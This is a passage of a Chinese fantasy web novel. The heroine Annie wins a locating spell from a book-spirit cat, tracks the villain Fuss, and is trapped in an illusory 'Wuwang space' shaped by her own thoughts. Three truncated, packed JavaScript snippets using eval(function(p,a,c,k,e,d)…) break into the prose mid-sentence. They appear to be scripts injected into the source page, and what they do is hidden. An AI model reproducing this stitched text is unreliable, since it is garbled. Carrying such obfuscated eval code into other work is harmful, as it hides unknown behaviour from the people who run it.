“不像吗?”猫咪问完,看了眼自己,恍然大悟,“哦哦,有本书说小猫咪都是天使,我想cos一下,就化成猫了。” 她说完挑眉,嘴角微勾满是得意:“不过很好看不是么?我可精心雕琢了好久。” “很好看。” 安妮点头。 倒不是敷衍,书灵化形的猫的确是她见过最好看的。线条流畅五官灵动,一眼就让人觉得,化形成人后是个美女。 不过符不符合猫咪的审美,就不知道了。 “进入正题吧,我想请你帮个忙。” 安妮开门见山。 “或许我们可以先交换名字?” “哦好,我叫安妮,圣语里光明的意思,不知道你怎么称呼?” “布可,你叫我布可就好了。”布可舔舐着爪子,好像一只真的猫,“你的兴趣爱好?” “嗯……太多了……也可以说没有。”因为没有特别喜欢的。 “那你去过哪些地方?” “很多……”安妮回答完,忽然道,“这些就不需要问了吧?” “哦,抱歉,难得有一个人出现在藏书阁陪我聊天,太寂寞了。” 布可说得很淡然,但安妮知道这就是实话。可惜,她没有时间停下来陪布可。 “找我帮忙总要给点好处吧,陪我聊天?” “这么简单?多久?” “嗯……大概,把藏书阁的第一层说完?”布可指着藏书阁第一层的书籍,随后自我否定,“不不不可能有点多,一半怎么样?” 要求开天窗之前,先说要打碎窗户,这个方法其实很好,可惜安妮很小的时候就知道了。 她摇头:“抱歉,我可能陪不了你那么久。” “那第二层?三层?” 安妮坚定摇头。 “四层五层六层?太往上的书晦涩难懂,你聊起来可能什么都不知道,那可没意思。” “我都不聊,我送你一个礼物如何?” “礼物?你要送布可礼物?”布可笑起来,狡黠的眸光闪烁,“书上那些有趣的东西,我早就见过了。” 说完,她爪子一挥,就像投影一样,空中出现一个透明的大屏幕。屏幕里,是各种稀奇古怪的玩意儿。 安妮竟然从中看到了科瑞特的科技王国里,那个会耍杂技的毛绒猴子。 “你要送我的不会是这个吧?很可惜,在科瑞特所写的《玩具总动员》里有这只猴子,在目录的第三页还有他的详细介绍。” “不是,我只不过觉得有点眼熟而已。” “你送我的东西,如果书上有记载,恐怕讨不了我的欢心哟。”布可拉长语调,就像一只傲娇的小猫。 “亚特兰蒂斯、科技王国甚至亦忘之海我都知道,你可别觉得里面的玩具我会不认识。” “亦忘之海?那是什么地方?” 安妮自认走遍了山川湖海,可还是没听说过“亦忘之海”,甚至,艾德文特的地图上都没有记载。 “那里只有从亚特兰蒂斯内部才能进入,你不知道也正常。不过,那里都不知道的话……我真想不到你会有什么稀奇东西。” “那我们打个赌?我的东西如果书上没有,就算我赢了,你要帮我;如果书上有记载,就算我输了,我陪你聊完第一层书。” “好,一言为定!” 布可说完,安妮拿出早早揣在兜里的鲜花。 含苞待放的白色花朵流光溢彩,紧紧闭合着。尽管外表有着五彩斑斓的白,布可仍旧不屑道:“不就是流光溢彩的白花吗?书上的记载多得是。” “不,你碰碰它。” 安妮说完,布可小心翼翼伸出爪子。 即使嘴上不屑,但看得出来,她还是很喜欢这朵花的。 花朵冰冰凉凉,但其中仿佛流动着生命。触碰到的一瞬间,花瓣一片片自动打开,露出莹白色的花蕊。 紧接着,花蕊中飞出点点星光,如同流淌的银河。星光在藏书阁的最上方汇集,慢慢汇聚成颜色各异的花朵。 一朵朵星星组成的花在天空中无风自动,世界仿佛都颠倒过来。抬头,星河璀璨,仿佛又是花海。 安妮没想到在藏书阁内打开星空花会有这样的效果,星星们因为空间更拥挤了,只能排布成更小更精致的花,层层叠叠美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那简单,你用这个阵法,只要提供那个人的气息,就可以用地图和罗盘定位。提取气息的咒语我也一起给你,怎么样,够意思吧?” 布可说完拿出一本书,同时召唤出纸笔,然后翻开,进行拷贝。 “提取气息只要是那人接触过的东西就行,气息残留时间根据情况而定,但就算触碰一下也能管三天,所以完全不用担心提取不到。” “好的,谢谢。” “那可以把花给我了吗?” “当然……不行。”安妮勾唇,“刚刚只是赌约,你还要用一个信息来交换它。” “什么信息?” “消除寄生灵魂的阵法。” 消除寄生灵魂。 几乎是这六个字一出口,伊娃便笑了:“你还真的贼心不死呀。” “我一向很诚实。” 安妮从不掩饰对伊娃的恶意,可惜,布可只是摇摇头:“抱歉,如果你说的是伊娃研究出来的寄魂术,我恐怕无能为力。 当然,还是有办法的,但办法不在我这儿。这个禁术不是本世界的,因此需要找到非本世界的手段才能消除它。” 也就是基兰爷爷了。 虽然早有预料,安妮还是有些失落。 “我也不是爱占便宜的妖,既然这个信息无效,我就告诉你点别的!” “什么?” “亦忘之海!” “亦忘之海,关于这个地方的记载很少,甚至它是否真的存在都不得而知。有零星的记载,在最古老的《旧世纪》书籍上。 相传,亦忘之海是存放真相的地方,在那里,有着最真实的过往。每一滴海水都是一段记忆,因此掉进亦忘之海,就会被庞大的信息冲击到无我的境界。 亦忘之海的存在太过神秘,以至于它的守护者都不能拥有关于它的记忆,只是在潜意识中守护着这个禁忌的地方。 亚特兰蒂斯本就是禁地,亦忘之海的唯一入口在亚特兰蒂斯,就更加没有被发现的可能了。不过,《旧世纪》记载,本世界的人还是有办法进入亦忘之海的。 只需要提交一段‘被遗忘的记忆’当成钥匙,就可以进入。但是这种东西太过矛盾,毕竟,没有被遗忘的才叫做记忆,什么是‘被遗忘的记忆’,我都模拟不出来。” 走出藏书阁的大门,布可的话还在耳边回荡。安妮拿着手上的阵法,不知为何,总觉得无意间触碰到了亚特兰蒂斯更深层的真相。 她一开始其实对亦忘之海不感兴趣的,毕竟她已经去过最神秘的深海,但无论如何安妮也想不到,亦忘之海竟然和亚特兰蒂斯有关,她还完全不知道。 看欧提特的模样,也不像知道的,可见伊卡思女王等人并没有隐瞒她的意思。而在亚特兰蒂斯生活数百年的人鱼族都不知道的入口……安妮瞬间对亦忘之海肃然起敬。 它还是存放真相的地方…… “也许有朝一日,你可以在那里寻找到诸神之战的详细过程——那一定比我告诉你的权威。” 伊娃的声音响起。 其实,她不是没想过告诉安妮诸神之战的细枝末节,但她觉得安妮不会相信,就像她不相信加丁就是弗斯一样。 “那个地方谁都没进去过,你倒是看得起我。” 安妮不以为意,此时的她没想到,后来的伊娃一语成谶了。 聊天的时间,安妮已经走出藏书阁。树下的步李面朝远方背对着她,却在安妮出来的一瞬间道:“我有个问题。” 安妮一怔,才想起来自己是装加丁进入的藏书阁。她立刻调整神态,用拟声器回答:“你说。” “如果,你看到了这个世界的真相,应该如何自处?” 步李的语气很轻,充满彷徨。安妮一怔,不知为何,竟然想到了亦忘之海。 但随后,她明白过来,步李看到的不是亦忘之海的真相,而是这个世界的真面目。残酷、冰冷,让人望而却步。 就像她现在逐渐看到的。 可是,她会因此,就停下前进的脚步吗? 不会。 “不管世界如何,你始终是自己。随心而为,大概就是我们能做的,也应该做的了吧。” 安妮轻声回答,配合着加丁苍老的音色,悠远深沉。 很像当初,他在自己面前摆大道理的样子。那是安妮最讨厌的模样,却不曾想,如今自己也变成了这副模样。 人总会变成自己讨厌的样子,也许是某一刻,也许会保持很久。直到她意识到自己的改变,然后一边唾弃一边认命。 远处,步李松开了紧握的拳头。 安妮感觉,好像有什么东西从他身上移开了。那是一种无形的、却沉重的负担。 “我走了。” 她叹气,一步一步慢慢下山。 身后,步李凝望着安妮离开的背影,辫子,在风中飘扬。 25. 25 “他认出你了,他明明认出你了!” 伊娃直到安妮完全离开步李的视线,才疑惑道。 她很少用这样失态的重复表达自己的不解,但此刻,伊娃毫不掩饰自己的震惊。 “为什么?他肯定在你刚出现的时候就认出来了,为什么?” “是啊,为什么?” 安妮其实也不知道。 如果刚刚进入藏书阁那会儿还不确定,后来走出藏书阁,被步李询问的时候,安妮就能确定了。 但是她也不明白为什么。 自己身上有什么值得步李忌惮下手的东西吗?没有。 看他的模样,也不像是因为心生忌惮就会收手的人。唯一能够给安妮提示的就是那个问题,但安妮不知道这个问题有什么不一样。 想不明白就不想了,安妮拿出布可给的两张纸,开始观察。 学习阵法对她来说很简单,安妮不一会儿就看懂了定位阵法和提取阵法的要素。 关键在于气息,提取气息和使用气息。 她走到校长办公室——那里已经被改造成莫斯卡的天地。 敲开门,开门见山。 “桌子上的东西我用一下。” “好。” 莫斯卡乖乖起身,站在窗边,看着安妮动作。 随着一串咒语响起,安妮手上出现一个白色的光点。她将光点投入面前的桌子,接着,是“啪”的一声。 光点就像一颗撞在树上的雪球,散掉了。 安妮不信邪,又把光点投入椅子、茶杯,甚至是墙壁。 “啪!啪!啪!” 接二连三的爆炸仿佛在嘲笑安妮。 莫斯卡抱臂,好整以暇地靠在窗边,问道:“你想提取弗斯的信息?让我想想,应该是气息吧……” “你怎么知道?” “因为我已经失败过了。” 莫斯卡倒很诚实: “弗斯很谨慎,他给自己下了隐匿阵法,只要不是用手接触的东西,就无法留下他的气息,因此他去哪都不会留下气息。” “至于他接触过的纸笔衣服这些……他在校长办公室和自己休息的房间直接下了屏蔽大阵,这两个地方不会存在任何气息。” “我倒是可以将他的阵法去除,不过我这人比较懒,这个阵法没什么不好,我就没去掉。” 不过想得到加丁的气息,还是不可能。 安妮沉默了。 “其实很好理解,弗斯是阵法界的皇帝,他很清楚气息在阵法方面起到的作用,自然不可能任由自己留下把柄。” “所以……你一开始就知道?” 安妮问的是脑海里的伊娃。 身为弗斯的死对头,她应该非常清楚弗斯的习惯。 “知道什么?你不是说,加丁不是弗斯吗?” 伊娃轻笑着回答。 安妮一怔。 即使她不想承认,潜意识里,还是觉得,加丁就是弗斯…… “好了,不逗你了。” 伊娃说完,莫斯卡忽然道:“虽然弗斯很谨慎,但百密一疏,要拿到他的气息还是没问题的。我这里有个人,你应该会感兴趣。” “什么?” “阵法课的一个学生,你不用知道他的名字。你只要知道,他有一把加丁触摸过的灵剑就好了。” 莫斯卡说完,慢悠悠从兜里拿出一个小木剑。 这把小木剑只有手指长,上面的灵力涌动,镌刻着一个火焰的印记。 是魔法课的基础练习道具,五灵剑之一的火灵剑。 “这是……” “弗斯当然不会用到它,只是阵法课上,有个学生用它做阵眼的时候,一不小心被反噬了。当时弗斯正好视察学校路过那间教室,就抬手制住了这把火灵剑。” 随后,还给那个学生。 这个过程很短暂,但已经足够了,甚至魔法性接触留下的气息更难以消失。只是安妮听到气息残留的过程,还是有些失神。 “你觉得弗斯也是个好人对不对?起码,他是为了保护别人才残留气息的。而卑鄙的你,要通过这份气息去追杀他。” 莫斯卡摊手,把火灵剑递给安妮。 安妮抿唇,没有被戳穿心思的恼怒,只是忽然问道:“那个阵法课的学生不知道吗?” “知道什么?” “加丁都知道气息的重要性,那个学生会不知道吗?他还是学习阵法的。而且……你是加丁的敌人。” “我不清楚啊,我只知道我用十个金币悬赏,他就把火灵剑呈上来了,甚至讲价的意思都没有。” 莫斯卡没必要骗自己,安妮顿时更加难受了。 “告诉你一个好消息,我之前调查过,弗斯小时候可能就是一个被霸凌的小胖墩儿,所以他能对那个学生感同身受。 他救人不过是看到了曾经的自己,不是因为善良好心,被背叛也是活该——怎么样,开心了吗?” 莫斯卡说完,安妮却愣住了。 “你……调查过弗斯的过去?” “知己知彼百战不殆,虽然没查到什么有用的。” “不,很有用。” 她似乎知道了,很久很久以前那个故事的真相。 加丁不是被朋友背叛的那个人,而是背叛朋友的那个人。 要让谎言变得真实,最好的办法就是让它真假参半,因此,加丁给她讲的故事确实是真的。但在那个故事里,他不是受害者,而是加害者。 因为他就是一个被霸凌的小胖墩,所以他看到同样被霸凌的小胖墩,会忍不住出手。 江山易改本性难移,或许,从一开始,他就不是好人。 “你的故事,很有用。” 安妮拿着火灵剑,离开。 使用提取气息的方法拿到弗斯的气息以后,安妮将其放入定位阵法。 启动定位阵法后,必须等阵法稳定下来,同步时间和地点。而在此期间,可以看到被定位的人大致的行动路线——也可能不准。 不一会儿,地图上出现一个黑色的小点。 这是一张世界地图,而小点则位于圣城。 过了一段时间,小点移动到圣城外,紧接着是无妄森林。 下一秒,小点直接窜到了吞噬之海的一角。就像空间跳跃一样,毫无预兆,也没有轨迹。 不一会儿,那个点又瞬间移动到了无妄森林。 安妮还以为是定位阵法不稳定,或者自己看错了,但伊娃的话让她醍醐灌顶。 “看来,弗斯已经找到了那个阵法。” “什么?” “一个能够将人传送到任何地点的阵法,而且是双向的。它曾经在诸神之战里起到了很大的作用,没想到现在还在——而且被启动了。” 伊娃说完,笑道:“看来,你的亚特兰蒂斯已经遭殃了哦~” 安妮浑身冰冷,目眦欲裂。 无妄森林的黑点还在飞速移动,进入圣城,随后到达了……圣城外! 安妮抬头,天空仍旧万里无云,没有一点异常。 定位阵法已经稳定,不再变换。地图是圣城的放大版,而黑点在右上角,靠近无妄森林的方向。 安妮赶紧启动脚上的疾行符,朝着弗斯的位置全力赶去! 圣城外,常青森林。 安妮赶到的时候,一股强大的灵力扑面而来,她却只感到无比熟悉。 “阿狸姐姐!” 不远处,加丁飞在半空中,身边则是被死死禁锢的猴子。他穿着一身银白色铠甲,手拿棍棒,全身的猴毛都竖起来,愤怒到了极致。 另一边,一身桃粉色衣裙的阿狸已经满头白发,皮肤松弛,全身都是褶皱老茧。 她的眼神却还是那么温柔、明亮,看向安妮的眼神饱含泪水。 “安妮,对不起。” 阿狸的声音很轻,轻得仿佛只是一阵轻柔的风拂过。安妮却恍惚间想起很久以前,阿狸姐姐递给她热腾腾的大包子,指着悦来客栈的方向。 她一直避免、一直躲藏,明明不想将任何无辜的人卷入这场战争,却还是避免不了…… “弗斯。” 冰冷的声音,却不是安妮,而是远处的阿若盖特。 她看着苍老的阿狸,还是面无表情的模样。仿佛一切都在她的身上激不起一点波澜,但安妮看到了,她隐藏在衣袖下,颤抖的手。 阿若盖特轻轻仰起头,看向那个白色的身影。 “你说过,不会打扰我的生活。” 曾经的刀锋战神为什么愿意隐姓埋名?因为她感受到了杀戮以外的东西。 那样的温暖,而让人留恋。 她已经丢掉了上半辈子,最重要的东西,为什么,不肯给她留下,下半辈子最重要的东西? “我没有打扰你的生活啊……” 弗斯讨好地笑着,然而手上,依旧拿着阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“碧海无波、河川无涛、无念无想,非弃妄不出,海洋之心,去!” 弗斯将海洋之心丢出,随着一段晦涩的咒语,安妮竟然被光芒笼罩,毫无抵抗能力。 她举起幽冥扇奋力抵挡,却还是感觉全身酸软无力,如同被一张密不透风的渔网罩住,周围还全都是蛛丝和粘液。 “不好……是无妄空间!” 无妄空间是什么? 安妮已经不知道了。 她只感觉眼前一片白光闪过,紧接着,便彻底失去意识。 “成功了!” 海洋之心掉在弗斯手上,他看着面前已经消失的安妮,得意一笑。 “不枉费我屠了人鱼族,人鱼女王的东西,就是好用。” 他说完,地上行将就木的阿狸也忍不住泣哭出声。她目眦欲裂,朝着弗斯怒吼道:“你会遭天谴的!” “天?我就是天!” 加丁指着头顶乌云消散,晴空万里的苍穹,几乎被狂喜淹没。 解决掉安妮不是最令人高兴的,找到色欲才是。天知道,一千年来,他为了打开异世界的通道,培养出地狱之花,有多艰辛。 如今,最邪恶的力量即将出世,他也终于可以就此封神了! “阿狸啊阿狸,我还要感谢你,如果不是你,我这辈子也不会知道,这里就是空间裂缝打开过的地方,而他,就是异世界的魔兽。” “可惜,阿若盖特和安妮已死,把你囚禁着也毫无用处了。黄泉路上,我再好好谢谢你!” 若不是太过高兴,弗斯根本不会说这么多的肺腑之言。 但他当然也不会任由听了这些话的人离开。 一个响指,阿狸便化为齑粉,彻底消失在世间。 “呜……加丁!我要你偿命!” 能量球里,猴子看着阿狸消失的方向,心如刀绞,却毫无办法。 “啧啧,真是场跨越时空的旷世奇缘,可惜了,是BE。” 弗斯摇摇头,说出的话仍旧充满趣味。 他带着猴子,消失在常青森林。 芳草萋萋,仿佛从未有过人的痕迹。 26. 26 安妮再次醒来的时候,只看见白茫茫的一片。 她撑起身,发现自己坐在一个四四方方的平台上。左前方是浮空的台阶,然后一直往上、往前延伸,直到看不见。 白色的台阶没有任何装饰,仅容三人通过。 无尽的绵延,就好像台阶尽头有什么宫殿等着她。 没有声音,也没有光暗,就好像是平面上的一张纸,连带着她也变成了思想扁平的火柴人。 周围是空荡荡的一片,就像整个悬浮在天空的上面,因为纸张没有加任何空间上的表达。往下看,是和头顶一样的白色。 “看来这个空间还不完善。” 伊娃的声音将安妮拉回现实,她才想起来伊娃的话。 无妄空间。 什么是无妄空间? “你现在应该很想知道,什么是无妄空间吧?” 安妮点点头。 她能感觉到,现在不是拌嘴反抗的时候。她还没忘记,进入这个空间前的剑拔弩张。 “无妄空间,简单来说就是一个弗斯创造的,专门用来困人的异世界,所以你短时间别想着出去了。” “那……” 阿狸姐姐,阿若盖特,还有人鱼族那么多生命…… “你现在自身难保,还是先想想怎么出去吧。” “从这里出去,很难么?” “你没发现,你连寒焰都没带进来吗?还有凤凰翎羽、幽冥神装,全部没有。你身上的,不过是你想象的,看看,你能发挥出它们的一点实力吗?” “什么意思?” 安妮赶紧召唤幽冥扇,但是失败了。她再试着呼唤红蓝羽魂,依旧没有得到任何回应。 “这就是无妄空间的厉害,他会将目标吸入空间,但不会让这个目标携带任何东西。我如果不是用寄魂术成为了你思想的一部分,现在估计都要被剥离了。” “所以这些……都是假的?” “也不算,至少它们都是你切切实实想到的。——你还是闭嘴,让我正式介绍一下这个空间吧。” 伊娃清清嗓子,随后,开始有史以来第一次长久的叙述。 “真正的无妄空间,你可以将其理解为一个什么都没有的虚无空间。而你,因为弗斯的阵法,被吸入其中了。 在无妄空间,什么东西都没有。所以你不会有衣服、周围不会有东西,一切都不存在。所有物品全都是因你的思想产生并存在的幻象,你想穿衣服所以有衣服,你想住房子所以有房子。 以上,就是真实的,也是最理想的无妄空间。 但是弗斯制作这个空间的用时很短,我猜,他刚刚抢走人鱼族的海洋之心,拿到阿狸的纯净灵力,就被你找上门了。 所以他制作的无妄空间并不完美,这也是为什么会存在台阶,并且你的其他念头没得到满足——细节不够完善。 但是脱离无妄空间的条件他应该没有改变,那就是做到‘无妄’,正如他所说的那样,无念无想。 当你真正什么都不想要,没有欲望、没有斗志,大概就能离开这里了。 不过,你离开这里的那一刻,也是弗斯成功的那一刻,毕竟,你都没有欲望了,怎么可能还想报仇。” “什么……” “有个好消息,我能感觉到这里的流速和外界不同,比例大概是……十比一?这里的十天才是外界的一天。——啊对,不该这么给你说的,这不是激起你的斗志吗?” “除了这个,就再也没有脱离的办法了吗?” “有啊,自杀。”伊娃轻描淡写,“你是黑暗的新生力量,也就代表着不死不灭。你每一次死亡,都只会在另一个地方重获新生,性格一样,最多保存不下来记忆罢了。 不过这一次可能麻烦一点,因为最后一刻,弗斯把刀锋意志融合进来了。没猜错的话,你这次死后,刀锋意志会把你的灵魂绞杀,届时重生的你就是再找回记忆,恐怕也不是自己了。 灭杀灵魂,就是刀锋意志战力不如无尽战刃,却能成为神器的原因。因为除了战力,她还有精神。” 这大概也是刀锋会化形成阿若盖特的原因,因为刀锋具有意志,而无尽战刃只有无尽的杀戮。 安妮听完,眨眨眼,有些不解:“听你的语气,好像不太担心我出不去?或者说,没多害怕的意思。” “那是因为我早就知道这个空间的存在了,毕竟弗斯为了解决我身上的负面情绪,还是想了许多办法的。总之,如果是曾经充满负面情绪的我,要离开这里肯定比现在的你难上千万倍,我有什么不高兴的? 说起来,你还算被我连累了,这个空间是诸神之战的时候,弗斯就在计划创造的,原本打算给我用。” “那最后为什么没有成功?” “因为他找到消灭我的方法了。毁灭比创造简单,不是么?” 安妮一怔,脑海中划过和金克丝捏泥人的那个下午。 原来,早在很久很久以前,她就听到过真理了。 “别思考我的事了,你还是想想怎么出去吧。我记得寒焰的要求就是无欲无求加上极致的追求,你当初怎么收服寒焰的?把那时候的姿态拿出来,离开这里还不是易如反掌?” “如果你是因为这个觉得我能出去,那恐怕要让你失望了,我自己都不知道我是怎么收服寒焰的。” 安妮耸肩,极度真诚的语气让伊娃一滞。 她能感受到伊娃真的是一顿,好像在识海里愣住了。安妮失笑,略微自嘲道:“真不错,起码我也有让你意外的时候了。” “你还真是心大。” 各方面的。 “你不是说这个空间是弗斯的半成品吗?那我试试往前走,说不定就有尽头呢?” 安妮说完,迈上第一个台阶。 悬浮的台阶往下沉了沉,软塌塌的,就好像被安妮踩下去一块。但很快,台阶又回弹到之前的高度。像果冻一样,和外表的坚硬格格不入。 安妮觉得有些惊奇,她抬脚,踩上下一个台阶。 一样的颜色、一样的长度,甚至下落的高度都一样。还好,她的平衡不差,轻松就稳住了身形。 开始赶路。 每一个台阶都会往下陷一点,就像钢琴的琴键,被按下后迅速回弹。但是没有声音,连脚步声都没有。 近似白玉的材质,和鞋子摩擦,竟然没有声音。 “别看了,这些都是幻象。你可以把它们理解成最低等的幻术,除了障眼法,没有任何互动。” 伊娃仿佛看出了安妮的疑惑,解释。 那我有声音吗? 安妮朝着虚空大喊了一声:“喂!” “喂!” “喂!” “喂!” 山谷一样的回声传来,重复了好几遍才消失。 安妮正想根据回声的大小思考无妄空间的大小,伊娃笑道:“你再喊一声呢?” “喂!” “喂!” “喂!” 依然是几个回声,好像多点,好像和之前一样…… 安妮正想对比着思考一下,伊娃彻底忍不住了:“看来你对无妄空间的了解还是不够啊孩子,哈哈哈哈……” “我怎么了吗?” 安妮不明白伊娃在笑什么。 “你居然觉得什么都没有的无妄空间会存在‘面积’这个概念,还有回声……哈哈哈哈……” 伊娃如果有实体,此刻一定在捧腹大笑。 而安妮思考了一会儿,好像明白了。 她试探性地,又朝着虚无喊了一声:“喂!” 这次,寂静无声。 声音仿佛被吞没,什么回应也没有。 安妮再开口:“喂!” “喂!” “喂!” 两次回声。 “喂!” “喂!” “喂!” 三次回声。 可问题是,安妮压根没出声。 所以,回声是她自己想出来的,她觉得有,就会有。 亏她之前还思考回声有几遍,想推测出无妄空间的面积…… 想到自己的呆瓜行为,安妮都要忍俊不禁了——难怪伊娃笑成这样。 但随后,是更大的空虚感。 连声音都是她自己想出来的…… 不想了,继续走! 安妮继续赶路,仍旧是软软的台阶,却有了些不一样的地方。 起点不见了。 那块方方正正的平台,大概是台阶面积的三倍大小,正方形的平面,和台阶一样厚。 而此时,已经看不到平台的模样。尽头和前方没有任何区别,不过一上一下,倒是没变。 那是这个世界唯一的不同。 纠结了一瞬,安妮还是决定继续往前走。 前方的台阶和之前并无差别,连位置都一模一样。唯一的区别,就是身后的那个平台变成了台阶。 安妮深吸一口气,加快步伐。 一分钟、两分钟…… 一小时、两小时…… 前方的道路好像没有尽头,走多久都是一样的画面。一转身,还是同样的台阶。 安妮停顿的片刻,呼吸已经调整好。她眨眨眼,摸摸心脏,那里还和之前一样,平静地跳着。 “你的身体不会感到疲惫……不对啊。” “什么不对?” 安妮直觉发现了无妄空间的漏洞,迫不及待地问。 “无妄空间将你拉进来以后,你的身体应该是在这个世界真实存在的东西,那么,你应该会感觉到劳累饥饿疲惫等等才对。但是,你都跑几个小时了,一点感觉没有?” “没有啊。” 安妮确信,自己没有任何感觉。 虽然她的体质经过锻炼和神器的改善,已经接近半神,不需要摄入很多能量,也不怎么需要休息,但真实与虚幻,安妮还是感受得到的。 她把手指放在眼前,五根手指,整整齐齐。下一秒,食指消失,紧接着又出现。 “你学会控制自己的幻想了。” 伊娃评论。 “是啊,这也说明,身体是假的。” 那究竟什么才是真的?这个世界,真的还存在真实的东西吗? 安妮忽然想起,人死后的模样。 化成光点,消散在世间,没有一点痕迹。那思想还会存在吗?是留在原地等待被一点点溶解,还是和身体一样消失得无影无踪? 凯德阿姨死去的那一刻,灵魂是不是留在原地,看着她,守护着她? “别走了,前面没有东西。” 伊娃的声音响起,安妮才发现,思考的时候,她也没闲着,还在赶路。而这种情绪并不强烈的思想,伊娃在识海边缘感知不到,她肯定以为自己除了赶路什么也没想。 安妮懒得解释,她定定地看着台阶。 一秒……两秒…… 忽然,一跃而下。 台阶快速地往上飞,对比着自己的下落,紧接着消失得无影无踪。前前后后的台阶连成一条线,升上天空,直至看不见。 安妮下落着,却没有失重感。 一开始的恐惧逐渐散去,她没有掉入什么漆黑的深渊,也没有被荆棘扎成刺猬。但是也没踩到平地,就好像四周全是空气,而她只是一片轻飘飘的羽毛。 什么都没有了,脸台阶都没了。 安妮慢慢调整姿势,落下台阶的时候,她还朝下方看着,做出迎接落地的最佳动作,但是此刻,她毫无障碍地舒展手脚,直起膝盖……站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安妮也不知道自己走了多久,只是还在走着的时候,伊娃出声了。 “你知道现在这条路变成了什么样子吗?” 她的声音带着笑意,安妮直觉答案不会很好,但还是停下开始思考。 最后,她摇了摇头。 按理说,伊娃和她共享视觉,伊娃看到的东西自己也该看到才对,但竟然还有伊娃知道而自己不知道的事情? “我想,它一定是个圆圈,而你踩过的每一个台阶,都会被移到后面,过段时间再成为你即将踩上去的那个。” “不可能!” “为什么不可能?你明明就是这样想的。” “可是……”我想的不一定就是事实啊。 安妮顿住了。 因为她想的就是事实。 这个世界,由她主宰,而她想的,都会成为事实。 安妮心念一动,将脚下刚刚踩过的方块染成了红色,接着继续走。 过了一会儿,前方不远处,那块红色台阶再次出现,印证了伊娃的话。 “怎么会……” “因为你就是这样想的啊。” 我是这样想的吗?我为什么要这样想? 因为这样的解释最合理。 “恭喜你探索出了这个空间的新特性:你想不出自己认知范围以外的东西,或者说,你想到的都是你认知以内的东西。你觉得这样最合理,所以就是这样。” “你怎么好像很了解这个空间的样子?你不是没进来过吗?” “哦,不好意思,我确实没有真正进来过,但我模拟过。” “模拟?” “当初,还是卜拉克告诉我这个空间有多可怕的,可惜我听完之后并没有意识到。于是她就借助生命树的能力给我体验了一下,也幸好那时的她还没忘记海洋之心的能力。” “海洋之心的能力?” 卜拉克怎么会有海洋之心的能力? 安妮从未想过,卜拉克还会制作无妄空间,就好像她从未想过,卜拉克会跟亚特兰蒂斯的神器有关一样。 “你可以这么理解:海洋之心在人鱼女王那里,但海洋之心的能力——制造究极幻境——人鱼族的精英都会。只是,人鱼女王是其中的佼佼者,卜拉克是高手,伊卡思是菜鸡。” “伊卡思女王,是菜鸡?” “哟,她现在都是女王了啊?” 安妮彻底懵圈了。 不过她确实感觉伊卡思更倾向于战斗力,而卜拉克给她的感觉就是幻象强者。 所以那些傀儡都是卜拉克在亚特兰蒂斯学到的东西?不对啊…… “卜拉克虽然来自亚特兰蒂斯,但准确来说,是还没有潜入深海的亚特兰蒂斯,所以她的傀儡术没有深海的气息。” “你从没给我说过这个。” “你会信吗?” 安妮默了。 连加丁是弗斯她都不愿相信,又怎么可能承认黑暗元首卜拉克来自纯净的亚特兰蒂斯? “你还是想想怎么脱离这个空间吧,当初是卜拉克自己把我放出来的,不然我都不知道应该怎么出去。” “或许外部可能会有方法,毕竟你的身体看样子还在现实世界。不过,弗斯肯定会把你的身体放在一个人迹罕至的地方,说不定早就用重兵把守了。” “不过还是有个好消息的,他不敢直接杀死你。杀了你,你虽然重生后没有记忆,但意识一走,这个空间就白做了。想想他想杀你又杀不掉的样子,还挺有趣,哈哈哈。” 安妮抿唇,不置可否。 还是从内突破比较简单。 27. 27 但是她已经没有从内突破的力气了。 不是没有身体上的力气,毕竟这个身体是假的,根本不存在劳累的说法。而是心理上不太想走了,因为看不到希望。 这个空间是走不完的,用这个方法出不去。 “过去多久了?时间我看得到吗?” 想到进入前的危急时刻,安妮有些心慌,原本停下来的念头也逐渐改变。这就好像是过去,明知道自己不可能一下子杀死天道,但只要有成长的机会,就不想放过。 她现在也不想放弃,不想就这样让弗斯得逞。 可惜,伊娃毫不客气:“时间我不知道,但你的阿狸姐姐肯定已经老死了。阿若盖特,也就是那个刀锋意志被杀死,融入这个空间,你是知道的,还有谁来着?” “不会的!阿狸姐姐是妖,怎么可能老死?” “失去灵力的妖,就如同失去寿命的人,为什么不可能老死?你赶到的时候,她已经满头白发,那就是最好的证明。” “可是阿狸姐姐明明是灵力天才啊!她随便在周围吸收一点供养,维持生命都做不到吗?” “先不说弗斯会不会让她这么自救,就说她本身也做不到,因为她的透支太大了,她一开始,就是奔着灵力枯竭去的,否则这个无妄空间也不会这么厉……等等……” 伊娃的语气竟然难得透露出慌乱,可是,明明自己被关进无妄空间她都处变不惊……安妮有种不祥的预感。 “怎么了?你想到什么了?” “你说她是灵力天才?” “对啊,阿狸姐姐的灵力是世间最纯粹最强劲的东西,你就算只在我识海边缘,应该也是能感受到这个认知的吧?” 在她看见阿狸灵力的那一刻,这个认知就牢牢地在脑海里生根发芽。 “所以,什么样的阵法能让她灵力透支到衰老、死亡?还被弗斯转移利用,制造成了这么厉害的无妄空间?” “应该……是和空间传送有关的吧,还是异世界空间。” 毕竟,时间由法则掌控,任何人都不得触碰修改,只有空间可以了。 “是啊,我早该想到的……异世界传送。你说,什么人,才需要被传送去异世界?” “当然是……异世界来的人。” 安妮眨眨眼,好像知道了什么。 阿狸姐姐被弗斯威逼交出灵力,于是拼尽全力想将猴子传送去异世界,为什么?因为,猴子本来就是异世界的…… 